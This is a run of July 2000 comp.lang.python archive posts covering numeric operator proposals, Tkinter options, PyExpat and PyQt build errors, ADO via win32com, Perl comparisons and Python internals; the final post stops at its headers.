References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com> <slrn8lj56i.l52.thomas@centurion.xs4all.nl> <395d728e.117049078@nntp.interaccess.com> <395D7E14.B18EC77D@san.rr.com> <3968fadf.299209218@nntp.interaccess.com> <396A1436.3B6BD73B@sage.att.com> <Epxa5.13351$Tb7.89807@news-server.bigpond.net.au> <8kf4o5$fao$1@nnrp1.deja.com> <iROa5.14159$Tb7.95278@news-server.bigpond.net.au>
Message-ID: <396BC044.3CC7CCD7@prescod.net>

Neil Hodgson wrote:
> 
> ...
> 
>    One report at http://www.codeproject.com/ says """As all languages now
> compile to the same result, performance for all languages from C# and VB to
> Python and Eiffel will have exactly the same performance. """. I don't
> really believe this as the different capabilities of the different languages
> will lead to different performance. Hoever, as all languages will be using
> some common substrate code for features like memory management and exception
> handling, performance levels for the different languages will be closer than
> before.

I don't buy that for a second! Languages like Java and Python achieve
some level of performance by tweaking the VM and language in concert.
You could develop a language that flew like a bat out of hell on
Microsoft's VM. You might even call it "C#" :). You could also imagine a
language that mixes with Microsoft's VM like oil and water. We'll have
to see the VM to know what language that would be.
-- 
 Paul Prescod - Not encumbered by corporate consensus
Simplicity does not precede complexity, but follows it. 
	- http://www.cs.yale.edu/~perlis-alan/quotes.html



From tttok_2000 at yahoo.com  Mon Jul 10 03:03:13 2000
From: tttok_2000 at yahoo.com (Ahmed Ahmed)
Date: Mon, 10 Jul 2000 00:03:13 -0700 (PDT)
Subject: Windows API
Message-ID: <20000710070313.13010.qmail@web3406.mail.yahoo.com>

Hi Python hackers,
I am very new to Python and I am waiting for my first
book. I would like to ask you how to use Windows API
in Python?. With an example please.

__________________________________________________
Do You Yahoo!?
Get Yahoo! Mail ? Free email you can access from anywhere!
http://mail.yahoo.com/



From rickhigh at aol.com  Mon Jul  3 03:31:06 2000
From: rickhigh at aol.com (RICKHIGH)
Date: 03 Jul 2000 07:31:06 GMT
Subject: Shoud I use Java or Python?
References: <00062612550704.00594@dagomachine>
Message-ID: <20000703033106.01208.00001108@ng-cp1.aol.com>

There are many reasons to choose Java.
There are also many reasons to choose Python.

Why not have the best of both worlds?

JPYTHON (Python that runs in the Java Virtual Machine)
www.jpython.org

I also wrote an article on JPython for the Java Developer's Journal.

you can see it at www.sys-con.com
search for JPython.




From claird at starbase.neosoft.com  Mon Jul 10 01:00:41 2000
From: claird at starbase.neosoft.com (Cameron Laird)
Date: 10 Jul 2000 00:00:41 -0500
Subject: Tkinter and default options
References: <8jnbhm$bb6$1@cubacola.tninet.se> <FPK75.3538$4C4.75025@news2-win.server.ntlworld.com>
Message-ID: <E1824DBDD435FBCB.6A418C6C1D73AE55.52970E334546D045@lp.airnews.net>

In article <FPK75.3538$4C4.75025 at news2-win.server.ntlworld.com>,
richard_chamberlain <richard_chamberlain at ntlworld.com> wrote:
>Hi Thomas,
>
>You can use an option database. If you create a file called optionDB with
>for example the following kind of entries:
>
>*font:                                Times New Roman
>*Button*foreground            blue
>*foreground                        black
>
>You can then apply these via
>
>root.option_readfile('optionDB')
			.
			.
			.
For more on this, see
<URL:http://www.regularexpressions.com/#options>.
We're planning a couple more installments on the
same subject for later this summer.
-- 

Cameron Laird <claird at NeoSoft.com>
Business:  http://www.Phaseit.net
Personal:  http://starbase.neosoft.com/~claird/home.html


From horst at proceryon.at  Tue Jul  4 03:25:41 2000
From: horst at proceryon.at (Horst Gassner)
Date: Tue, 04 Jul 2000 09:25:41 +0200
Subject: Performance
Message-ID: <39619175.5F8B503D@proceryon.at>

Hi all!

I have implemented a tree view with special items (the base for this
work was the TreeWidget from IDLE).

The performance is not the best and therefore I ran the profiler today.
The following function is one of the slower ones and I would be happy if
there are any possibilties to speed this thing up.

subItems = {}
if s.__subList[level] :
	for key in s.__subList[level].keys ():
		# root level is special case!
		# get all sublevels without recognizing id of sublevel
		if level==0 or string.find(key, id) == 0 :
			subItems[key] = s.__subList[level][key]


The functions looks for all subitems for a given level and a given id.
For each level I have pre-built a list that I have just to go through
the items of the given level.

Thanx in advance
Horst


From ramb at synopsys.com  Thu Jul 27 11:53:21 2000
From: ramb at synopsys.com (ramb at synopsys.com)
Date: 27 Jul 2000 08:53:21 -0700
Subject: how to find out if stringobject is built with CACHE_HASH
Message-ID: <87ya2nsh72.fsf@oak.gitaram.com>

I am working on a module where I need a string table. From
looking at the source in stringobject.h I see that by default
for 1.5.2 python strings are already stored in a string table.
But the user is free to build a version of python without this
feature.

Is there a way I can detect this at run time? It would be nice if
my module could detect that some essential Python feature was missing
and issue an appropriate error message. I just dont know how to get
the info I need...

Thanks for any info.
-Ram


From clgonsal at keeshah.penguinpowered.com  Wed Jul 12 14:23:55 2000
From: clgonsal at keeshah.penguinpowered.com (C.Laurence Gonsalves)
Date: Wed, 12 Jul 2000 18:23:55 GMT
Subject: Pyexpat build problems...
Message-ID: <slrn8mpdts.rv.clgonsal@keeshah.penguinpowered.com>

I downloaded PyXML-0.5.5 from the XML-SIG status page on python.org
(http://python.org/sigs/xml-sig/status.html). I followed the
instructiions in the README, and eventually I get a compile error in
pyexpat.c. I'm trying to build this on Red Hat Linux 6.0 on an i586.
Here's the error from gcc:

./pyexpat.c: In function `newxmlparseobject':
./pyexpat.c:474: parse error before `xmlparseobject'

Line 474 looks like:

        self = PyObject_New(xmlparseobject, &Xmlparsetype);

There isn't anything called "PyObject_New" in the Python headers on my
system. There is a "Python_NEW" though, and its parameters look right
for this situation.

I changed that, and now it compiles. I then installed it, and tried
running the included test_pyexpat.py. It doesn't work. It says:

ImportError: No module named pyexpat

So what's going on? There *is* a pyexpat.so in
/usr/lib/python1.5/site-packages/xml/parsers/ now. I have to admit that
the way Python loads modules has always seemed like black magic to me
though, so I don't know if that's enough. Apparently not, given the
error I'm running into...

How can I get PyExpat working on my system?

-- 
  C. Laurence Gonsalves                "Any sufficiently advanced
  clgonsal at kami.com                     technology is indistinguishable
  http://www.cryogen.com/clgonsal/      from magic." -- Arthur C. Clarke


From musingattheruins at my-deja.com  Tue Jul 18 11:26:18 2000
From: musingattheruins at my-deja.com (musingattheruins at my-deja.com)
Date: Tue, 18 Jul 2000 15:26:18 GMT
Subject: Again: ODBC / Win98 -> crash
References: <7BD10B680501D411B9DF009027E06F32011AE8@EXCHANGE> <8kvs3u$c4m$1@nnrp1.deja.com>
Message-ID: <8l1su2$r45$1@nnrp1.deja.com>

found it... i was tripped up by a python-com-ism.  The 'O' in
'ADODB.Connection.Open' command i was running was a small 'o'...

import win32com.client
conn = win32com.client.Dispatch('ADODB.Connection')
conn.Open(connectstring)
# was calling... conn.open(connectstring)

msft ado returned a 80004005 error... (-2147467259, 'Unspecified
error', (0, 'Microsoft OLE DB Provider for ODBC Drivers', '[Microsoft]
[ODBC Driver Manager] Data source name not found and no default driver
specified', None, 0, -2147467259), None)

this is misleading; the dsn _does_ exist... not sure what was actually
called through com since 'open' was the wrong function name.

aside from my own stupidity i have had no other problems with MDAC 2.5.

bill :-/

> i have installed the most recent mdac 2.5 and now cannot connect to
any
> DSNs with ADO!!! and cannot make DSN-less connections with ADO!!!
>
>   tried rolling back to 2.1 (nope... component checker reports v 2.5)
> + re-install 2.5
> + re-install python 1.5.2
> + re-install python win32 all
> + try again
> --------------------------------
>  NFG
>
> no solution yet... _if_ i find one i will post it.
>
> bill :-(


Sent via Deja.com http://www.deja.com/
Before you buy.


From gpepice1 at nycap.rr.com  Fri Jul 28 22:57:03 2000
From: gpepice1 at nycap.rr.com (gbp)
Date: Sat, 29 Jul 2000 02:57:03 GMT
Subject: Newbie DATA STRUCTURES Question.
Message-ID: <398248BC.32DE3CC@nycap.rr.com>

Hi all,

I have experience with Perl but non with Python.  

I need to write a script to read a large text file into a structured
format.

In Perl one can create a list of records using something like pointers. 
So really you have a list of pointers-- each one pointing to an
anonymous record.  Each record is some data from a line in the file.

Since I learned data structures in languages with pointers (C, pascal)
I'm stuck.  How does one go about constructing a list of records in
python?  My python is still pretty weak.  I understand how the lists
work (a lot like Perl).  I understand that you can use objects as
records.  I don't really get the full OOP though.  I guess that you
can't make record anonymous in python?  Is that right?  Can you have
pointers?  

When I was learning Perl I found a manual page on this.  Couldn't find a
example for Python.  Hope that doesn't mean it can't be done.  

Any hints are welcome!!

(reply to email and group)

Thanks.


From W.Whiten at mailbox.uq.edu.au  Fri Jul 21 02:58:29 2000
From: W.Whiten at mailbox.uq.edu.au (Bill Whiten)
Date: Fri, 21 Jul 2000 16:58:29 +1000
Subject: Operators for everything (was Re: Operators for matrix)
References: <Pine.LNX.4.10.10007180134360.9411-100000@rock.localdomain> <ZW4d5.3559$FA2.391374@nnrp3.clara.net> <oa5dns8idp0ktl6kvlr37ps1ovrip48a0h@4ax.com> <3977AF5E.552F4F42@my.signature>
Message-ID: <W.Whiten-2107001658290001@whiten-mac.jkmrc.uq.edu.au>

In article <3977AF5E.552F4F42 at my.signature>, Greg Ewing <see at my.signature>
wrote:
> Python with its overloadable operators can be thought of
> as a meta-language for creating domain-specific languages.
> But the number of operators is too restricted for it to
> be really good in this role. Operator overloading feels like
> something tacked on as an afterthought rather than a
> serious feature. I don't think it's unreasonable
> to consider whether this situation could be improved.

I would prefer the normal oprerators plus an escape character followed by
additional characters to define new operators eg @+ @div etc.

Regards,
-----------
Bill Whiten,                                     W.Whiten at mailbox.uq.oz.au
Julius Kruttschnitt Mineral Research Centre,
The University Of Queensland,                       Tel: int +61 7 3365 5888
Isles Rd, Indooroopilly,                            Fax: int +61 7 3365 5999
Brisbane Qld 4068, AUSTRALIA.


From speed at ?.com  Fri Jul 28 19:37:14 2000
From: speed at ?.com (Jake Speed)
Date: Fri, 28 Jul 2000 23:37:14 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com> <8lse9j01oti@news2.newsguy.com> <slrn8o3jap.49c.grey@teleute.rpglink.com> <slrn8o42r6.dti.wtanksle@dolphin.openprojects.net> <slrn8o449h.49c.grey@teleute.rpglink.com>
Message-ID: <so469a2go0b171@corp.supernews.com>

morpheus at here.not.there (Steve Lamb) wrote in
<slrn8o449h.49c.grey at teleute.rpglink.com>: 

>On Fri, 28 Jul 2000 22:38:32 GMT, William Tanksley
><wtanksle at dolphin.openprojects.net> wrote:
>>That's a really cruel statement for you to make.  I hope you were
>>making it in jest.  I've seen nothing to indicate anything waranting
>>this kind of attack.
>
>    Neither cruel or jest.  I consider "Automagic" coversion on the same
>    vein 
>as "Winblows".  I have hoped that there were people who were above that,
>there are some, but it is here as in everywhere else.

The term 'automagic' is commonly used by perl coders and porters.

-Speed!



From rumjuggler at cryptarchy.org  Fri Jul 28 23:30:44 2000
From: rumjuggler at cryptarchy.org (Ben Wolfson)
Date: Sat, 29 Jul 2000 03:30:44 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <aeb2osgndgqvhrrm6f3pmfevns171i0r5a@4ax.com> <slrn8o2f77.1e2.grey@teleute.rpglink.com> <f5m3osobae9i4cvna8k89ra8u3vi1me5k9@4ax.com> <slrn8o4dul.abr.nobody@isis.visi.com>
Message-ID: <f6k4os4r5dr5ucdeks5tf5d5o2hdfei7ob@4ax.com>

On Sat, 29 Jul 2000 01:48:05 GMT, nobody at nowhere.nohow (Grant Edwards)
wrote:

>In article <f5m3osobae9i4cvna8k89ra8u3vi1me5k9 at 4ax.com>, Ben Wolfson wrote:
>
>>Any single element can't be "a single element or a sequence".  It can only
>>be a single element.
>
>I thing one could reasonably claim that a length-1 string is both a single
>element and a sequence of a single element.

Right--it's a sequence, and a single element.
I restated this elsewhere in the thread; what I meant was that any
arbitrary sequence can be viewed as a sequence or single entity, but any
arbitrary single entity cannot necessarily be viewed as a sequence.

I suspect I don't have the right vocabulary to express my thoughts here.

-- 
Barnabas T. Rumjuggler

SOYLENT COMMUNION IS JESUS!  JESUS!
 -- Lots42, in ark


From grey at despair.rpglink.com  Sat Jul 29 18:16:08 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Sat, 29 Jul 2000 22:16:08 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com> <8lse9j01oti@news2.newsguy.com> <slrn8o3jap.49c.grey@teleute.rpglink.com> <8lst4r02grr@news2.newsguy.com> <slrn8o444p.49c.grey@teleute.rpglink.com> <m3k8e5ja2d.fsf@gondolin.beleriand>
Message-ID: <slrn8o6lp3.f91.grey@teleute.rpglink.com>

On Sat, 29 Jul 2000 14:16:47 GMT, Steffen Ries <steffen.ries at sympatico.ca>
wrote:
>In this case I would use the dictionary variant of the format string:
>"%(a)0d %(b)c:U %(c)s %(d)s %(e)s %(f)s %(g)s %(h)s %(i)s %(j)s %(k)s"\
>   % vars()
      ^^^^^^

    Still doesn't change the fact the variables are at the end.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From kpmurphy at my-deja.com  Tue Jul 25 12:05:30 2000
From: kpmurphy at my-deja.com (Keith Murphy)
Date: Tue, 25 Jul 2000 16:05:30 GMT
Subject: let my widgets use pack/grid/place
References: <8lk8o7$lm8$1@nnrp1.deja.com>
Message-ID: <8lkds5$q3q$1@nnrp1.deja.com>

ok.  here's what i'm trying to do.  i want to be able to add a label to
anything.  here's the class:

class labelify(Widget):
    def __init__(self, master, item, thetext, location):
        frame = Frame(master)
        label = Label(frame, text=thetext)
        item.master = frame

        label.pack(side=location)
        item.pack(side=location)

        cnf={}
        Widget.__init__(self, master, 'frame', cnf, {})

...and here's the call:
entry = labelify(left_frame, Entry(), 'hi', TOP)
entry.pack()

1) is that widget extention stuff legal?
2) my label disappears, how do i get around that w/o using self
3) is there an easier way to do this?

thanks,
-->keith


In article <8lk8o7$lm8$1 at nnrp1.deja.com>,
  Keith Murphy <kpmurphy at my-deja.com> wrote:
> how do i let widgets i've created use pack/grid/place?
>
> i.e.
> ...
> mywidget('schweet')
> mywidget.pack()
> ...
>
> thanks,
> -->keith
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From paul at prescod.net  Sat Jul 22 16:27:16 2000
From: paul at prescod.net (Paul Prescod)
Date: Sat, 22 Jul 2000 15:27:16 -0500
Subject: Newbie pythoner, with bizzare problem
References: <8F79257Amilenkomoonshinecouk@194.73.73.116> <m33dl2o39d.fsf@atrus.jesus.cam.ac.uk> <66BC56277B82FC67.B3EED2DD79D7AFED.2311A1AB38DBA14A@lp.airnews.net> <8F7974AF5gmcmhypernetcom@199.171.54.194> <3979CE02.D2744B7E@prescod.net> <8F79AAFA3gmcmhypernetcom@199.171.54.154>
Message-ID: <397A03A4.68E6CB09@prescod.net>

Gordon McMillan wrote:
> 
> Only sometimes. At other times __builtins__ is a dictionary, so
> 
> inp = __builtins__.open("...")
> 
> would fail, and you'd have to use
> 
> inp = __builtins__['open']("....")

Why is __builtins__ a shape-shifter?

-- 
 Paul Prescod - Not encumbered by corporate consensus
New from Computer Associates: "Software that can 'think', sold by 
marketers who choose not to."



From olipt at mayo.edu  Fri Jul 28 11:04:20 2000
From: olipt at mayo.edu (Travis Oliphant)
Date: Fri, 28 Jul 2000 10:04:20 -0500
Subject: New operators needed? (was Re: Discussion: new operators for
 numerical computation)
In-Reply-To: <cpu2dae41d.fsf@cj20424-a.reston1.va.home.com>
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <397C9207.EC0528AA@eecis.udel.edu> <m3lmypfdwe.fsf@chinon.cnrs-orleans.fr> <8lqbqu$uhm$1@slb2.atl.mindspring.net> <cpu2dae41d.fsf@cj20424-a.reston1.va.home.com>
Message-ID: <Pine.LNX.4.10.10007280953270.3884-100000@us2.mayo.edu>

> 
> By the way, Konrad (hi!) -- what's the status of that reworking?  I've
> totally lost track of NumPy.  The SourceForge project doesn't seem
> very active.  So how is this going?  Is it going anywhere?

It is going somewhere (how quickly is another matter).  There is a CVS
tree under the module numpy2 at the numpy SourceForge site which contains
all of the code.  I am writing up some design documents which I will place
in the tree so that others can at least understand what I'm thinking and
contribute if they have the time.  My time-schedule was significantly
scrunched as I need to finish my work in time to transfer to my new job at
the end of the year (where I will still be working on Python).   

Right now, the basic class structure for both the multidimensional array
and the universal functions is written.  The supporting C code is maybe
30% done.  Some of the C code for the universal functions can be taken
from the current implementation, but other parts need to be written from
scratch.

The slow-down seems to be that those who are familiar enough with the C
code to help don't have the time at the moment.  

If anyone would like to participate, send me mail at 

Oliphant.Travis at altavista.net and I will give you further details.

-Travis




From tony at lsl.co.uk  Fri Jul  7 08:58:06 2000
From: tony at lsl.co.uk (Tony J Ibbs (Tibs))
Date: Fri, 7 Jul 2000 13:58:06 +0100
Subject: POOP / Python (Object Oriented Persistence) ?
In-Reply-To: <8k4bh0$f20$1@localhost.localdomain>
Message-ID: <00c601bfe812$febfeef0$f0c809c0@lslp7o.lsl.co.uk>

Since femigier has mentioned Java projects, I'll mention PJama, at

	http://www.dcs.gla.ac.uk/pjava/

I don't know what the Perl projects are trying to do, but PJama was aiming
at bringing orthogonal persistence (which has been around in various
academic languages for a while, but never in the mainstream) into a popular
language.

Being able to rely on objects still being around at the next invocation of a
program without the programmer having to (seem to) take any special action
can make certain types of application rather quicker to write ("certain
types" including things like GIS, for instance).

Unfortunately, I think PJamas chance of ever making mainstream Java died
some years back (boo hoo), 'cos it would have been really neat.

If that's what's being talked about, it's a bit beyond just having *Pickle
around (and if it's not what's being talked about, that's a pity), and I
think Zope, etc., aren't quite talking about the same thing either.

[One of the other exciting aspects of the Glasgow efforts is/was that they
were also looking carefully at the problems of versioning, multi-user
access, persistence over LARGE networks, etc. - all the real problems one
would get if one actually *used* the stuff]

Sorry - for a while I was working in Glasgow, and this just caught my
imagination when I was there...

Tibs

--
Tony J Ibbs (Tibs)      http://www.tibsnjoan.demon.co.uk/
Feet first with 5 wheels...
My views! Mine! Mine! (Unless Laser-Scan ask nicely to borrow them.)





From moshez at math.huji.ac.il  Fri Jul 28 09:37:44 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Fri, 28 Jul 2000 16:37:44 +0300 (IDT)
Subject: Content of the Perl6 talk
In-Reply-To: <16E8935DE8C35BF0.1E652ED229DA405D.479F9E5D07D36E5F@lp.airnews.net>
Message-ID: <Pine.GSO.4.10.10007281637110.10036-100000@sundial>

On 28 Jul 2000, Cameron Laird wrote:

> <URL:http://deja.com/=dnc/getdoc.xp?AN=651665267> is the most pro-
> vocative summary I've yet seen of Larry Wall's talk at the O'Reilly
> Open Source Convention.  Mark-Jason Dominus's typically masterful
> <URL:http://www.perl.com/pub/2000/07/perl6.html> provides technical
> details.  I think at least the first of these will reward a quick
> read by everyone involved in planning the futures of, for example,
> Python and Tcl.  I applaud Conrad Schneiker for his care in prepar-
> ing this.

I agree. Thanks a lot for bring this information to Python-land: plenty
of things we can learn from.
--
Moshe Zadka <moshez at math.huji.ac.il>
There is no IGLU cabal.
http://advogato.org/person/moshez




From hzhu at localhost.localdomain  Fri Jul 21 00:45:26 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Fri, 21 Jul 2000 04:45:26 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <m3og3tkvw3.fsf@chinon.cnrs-orleans.fr> <39771F6D.A9A0A26B@yale.edu> <slrn8nemsi.rb.hzhu@localhost.localdomain> <gm9fns831at7mpsv11i00bqifq17acpjsp@4ax.com>
Message-ID: <slrn8nfli6.rb.hzhu@localhost.localdomain>

On 20 Jul 2000 20:57:04 -0500, John Lull <lull at acm.org> wrote:
>At the dawn of the third millenium (by the common reckoning),
>hzhu at localhost.localdomain (Huaiyu Zhu) wrote (with possible
>deletions):
>
>> On Thu, 20 Jul 2000 11:49:01 -0400, Paul Magwene <paul.magwene at yale.edu> wrote:
>> >Konrad Hinsen wrote:
>
>> >A(+.*)B
>
>> There is one reason this will not be accepted eventually.  The parathesis
>> suggests the possibility of a calculas of operators within them, when, in
>> fact, operators are hardcoded in the C program.  John Lull had given a clear
>> explanation why this is so.
>
>I think your objection here is to the '+.*' bit, rather than the
>parentheses. Correct?  Do you have the same objection to the simple
>(*) ?

I do not have objection to this itself.  In fact I find this quite readable.
The problem is that after the previous long debate I got the feeling that
some people would reject anything that puts several symbols together just
because "it looks like perl" (which I do not believe is true).  I'm worried
this diversity might hurt the chance of getting anything accepted at all.

This is just a feeling.  Look it this way, it is one thing to argue that
there is a need for additional operators because the current ones are simply
not enough.  It is another thing to argue that there need to be a general
solution which leaves the door open for future extension.

In many situations making anything more general is likely to make it more
acceptable.  But in the case of operators there appears to be a general
hostility towards any extension, esp with many special characters.  This
could well change in the future, of course, if there is a very strong case.

Just my 2c.

Huaiyu


From pete at visionart.com  Tue Jul 18 14:04:23 2000
From: pete at visionart.com (Pete Shinners)
Date: Tue, 18 Jul 2000 11:04:23 -0700
Subject: Python-dev summary: July 1-15
References: <20000718100813.C21354@newcnri.cnri.reston.va.us>
Message-ID: <8l26q5$7r7$1@la-mail4.digilink.net>

"Andrew Kuchling" <akuchlin at cnri.reston.va.us> wrote
> This is a first experiment in whether I can make a useful,
> interesting, somewhat coherent summary of python-dev activity.
> If reaction is favorable, and time permits, it may become a biweekly
> posting.


i'm also excited to see this, andrew. if you have the time to
put them together, i'll gladly read each and every one!





From newsbunny at noether.freeserve.co.uk  Sun Jul  2 17:06:09 2000
From: newsbunny at noether.freeserve.co.uk (Martin P Holland)
Date: Sun, 2 Jul 2000 22:06:09 +0100
Subject: Problem Installing PyQt-012
References: <20000702.20095100@linux.local>
Message-ID: <slrn8lvbm1.o1d.newsbunny@noether.freeserve.co.uk>

On Sun, 02 Jul 2000 20:09:51 GMT,
Kenneth Payne <kmp at atrium.fsnet.co.uk> wrote:
>I'm trying to install the Python bindings to Qt/KDE. I've downloaded 
>the latest sources for Sip. PyQT and pyKDE. I've compiled and 
>installed Sip and compiled PyQT. All seemed to go Ok, though I had to 
>fiddle a bit to get them to compile on Suse 6.3. However, on the "make 
>install" for PyQt, I get an error when the install routine hits a 
>Python script:
>
>Traceback (innermost last):
>  File "<string>", line 1, in ?
>  File "/usr/lib/python1.5/qt.py", line 16, in ?
>    import libqtc
>ImportError: /usr/lib/python1.5/lib-dynload/libqtcmodule.so: undefined 
>symbol: __ti8sipProxy
>make[3]: *** [install-data-hook] Error 1
>make[2]: *** [install-data-am] Error 2
>make[1]: *** [install-am] Error 2
>make: *** [install-recursive] Error 1

Did you run ldconfig after installing sip?
Did you specify the qtdir to ./configure when compiling sip?

atb
Martin


-- 
http://www.noether.freeserve.co.uk
http://www.kppp-archive.freeserve.co.uk


From tim.hochberg at ieee.org  Fri Jul 21 21:28:52 2000
From: tim.hochberg at ieee.org (Tim Hochberg)
Date: Sat, 22 Jul 2000 01:28:52 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <slrn8nhndr.qn.hzhu@rocket.knowledgetrack.com>
Message-ID: <m2wvifm2bd.fsf@spiff.home.com>

At this point there seems to be main proposals. There are variations
on these basic themes, but these two capture the main points:

------------------------------------------------------------------------

Proposal one, which for lack of a better name I'll call Huaiyu's proposal:

New Operators: .+, .-, ./, .*

NumPy and MatPy would have reversed syntax: the new would operators
correspond to element operations in MatPy and matrix operators in
NumPy.

There is similar syntax proposal that subsitutes @ for '.'. Although it
avoides the last disadvantage (below), it seems to have less
support. Perhaps because it seems hard to parse visually since @ looks
more like a symbol than an operator (in my subjective opinion).

Advantages:	Similarity to MatLab syntax.
Disadvantages:	Reversed syntax.
		Essentially precludes eventual unification of NumPy and MatPy.
		5.+A probably won't confuse the parser, but it may confuse me.

-----------------------------------------------------------------------

Proposal two, which for lack of a better name I'll call Konrad's proposal:

New Operators: (+), (-), (/), (*)[outer], (.)[dot], (|)[solve], (^)[power] 

NumPy and MatPy would have that same syntax: the new operators correspond to
matrix operations in both MatPy and matrix operators in NumPy.

There are some other possibilities for operators here. In particular
(**) for power. However if we're already abusing bitwise-or for solve,
why not abuse bitwise-xor for power?

It's possible to imagine this syntax with the operators reversed
between NumPy and MatPy, but it would be a waste: (|), (.), and (^)
don't make good elementwise symbols, and MatPy would still be stuck
without a symbol for outer and solve.

Advantages:	Syntax for both inner, outer, and solve.
		Unifies NumPy and MatPy syntax now.			
Disadvantages:	Unfamiliar Syntax for MatLab users.

-----------------------------------------------------------------------

Given these two basic proposals, I strongly prefer Konrad's. I think
the syntax is more evocative of matrix operations. From the tone of
other post on this syntax, this syntax seems to be accepted, perhaps
even prefered, by most most people. I also am strongly a proponent of
the syntax of various Numeric packages being a similar as possible. In
this case NumPy and MatPy.

It's not an option for NumPy or some successor to adopt the MatPy
syntax. Not only is there a large NumPy codebase, but in NumPy the
elementwise operations ^,|, & and % are important. In order for a
syntax such as that proposed in Huaiyu's proposal for MatPy to be
adopted, an additional 4 (or more I may have missed something)
operators would need to be adopted. I don't think this is feasible,
particularly since the same effect (and more) could be achieved in
Konrad's proposal without the extra operators.

That's my opinion and I'm sticking to it, at least till I come up with
a different one.

-tim


From hzhu at localhost.localdomain  Fri Jul 21 02:52:00 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Fri, 21 Jul 2000 06:52:00 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <slrn8netkd.rb.hzhu@localhost.localdomain> <8l85ae$487@stochastic.eng.umd.edu> <slrn8nf8vv.rb.hzhu@localhost.localdomain> <8l8dmd$4p0@stochastic.eng.umd.edu>
Message-ID: <slrn8nfsvg.rb.hzhu@localhost.localdomain>

On 20 Jul 2000 22:48:45 -0400, Warren B. Focke <moron at Glue.umd.edu> wrote:

>The old code might not even have to coexist, the new package could
>provide compatibility modules:
>
>-------- Numeric.py --------------
>from MumPy import *
>frob_operators(...)
>----------------------------------
>
>and similarly for MatPy.

Interesting. Details?

Huaiyu


From donn at u.washington.edu  Fri Jul 21 13:07:10 2000
From: donn at u.washington.edu (Donn Cave)
Date: 21 Jul 2000 17:07:10 GMT
Subject: iterating over lines in a file
References: <D5Pd5.25129$DZ4.84715@news.corecomm.net> <Pine.GSO.4.10.10007200934550.23388-100000@sundial>
Message-ID: <8l9vvu$4qge$1@nntp6.u.washington.edu>

Quoth nobody <no at bo.dy>:
| Moshe Zadka <moshez at math.huji.ac.il>, in
| <Pine.GSO.4.10.10007200934550.23388-100000 at sundial>:
|
| [...]
|> Preventing world war III, when Python achieves world domination. If C is
|> allowed to achieve world domination, WWIII will be cause by
|
|> if(everything_is_ok = 0) {
|> 	launch_missile();
|> }
|
| i sort of see the point, when you're speaking of beginner programmers
| still confused by the common algebra equal sign and trying hard to
| sort out assignment from comparison, but i honestly don't see many
| more seasoned programmers making that mistake. maybe i'm just weird
| that way. (then again, i keep wondering why native speakers of the
| english language misplace the apostrophe. i never make that class of
| mistakes either, my brain just isn't prone to it. maybe it's the
| learning two other languages before english that inoculated me
| somehow... both my other ones deal with that sort of grammar very
| differently, so maybe i just don't see the apostrophe as something
| confusing because of that. who knows.)

For what it's worth, apostrophe errors stand out like a sore thumb
for me, but I have made many =/== mistakes.  Even a few in Python,
believe it or not.

	Donn Cave, donn at u.washington.edu
PS.

It's a source of constant amazement to me how well some of you
non-native speakers can manage, but I suppose if my Portuguese
got as much practice it would be pretty good too.  For the rest
of us native speakers who are wondering what's all this about
apostrophes -- it's really simple!

90% of it is "it's" vs. "its", and when there's time to think
about it we can easily solve this puzzle by analogy:  just
change "it" to "he", and consider whether we would write "he's"
or "his".  We have the same apostrophe here, and likewise in
"they're", "that's" and so forth: a contraction of two words.

The source of the confusion is a possessive "s" ending that
does take an apostrophe, e.g., "pig's eye".  But "its" is
not "it" + that ending.  "Its" is a natural pronoun like "their".

Now I suppose we will have no more of this foolishness!  And
while we're improving our English - remember, "loose/loosed"
vs. "lose/lost".


From fiona at sitegnome.com  Wed Jul 12 23:33:02 2000
From: fiona at sitegnome.com (Fiona Czuczman)
Date: Thu, 13 Jul 2000 13:33:02 +1000
Subject: Enumerating drives in Python or wxPython
References: <8aKa5.485$652.11285@newsc.telia.net> <AIKa5.11232$dL5.177595@news6-win.server.ntlworld.com>
Message-ID: <396D386E.7F78C777@sitegnome.com>

Deja vu ? Didn't I enter this question into FAQTs yesterday ?

<g>Fiona.

richard_chamberlain wrote:
> 
> Deja vu ? Didn't I answer this question yesterday ?
> 
> Richard
> 
> Lars Lundstedt <lars.lundstedt at telia.com> wrote in message
> news:8aKa5.485$652.11285 at newsc.telia.net...
> > The subject line says it all. How do I do it?
> > Anyone who knows?
> >
> > /LasseLu
> >
> >

-- 

Site Gnome - site maintenance, documentation and proof reading

http://www.sitegnome.com


From europax at home.com  Mon Jul 10 20:57:22 2000
From: europax at home.com (europax at home.com)
Date: Tue, 11 Jul 2000 00:57:22 GMT
Subject: Anyone used Python for GPIB instrument control?
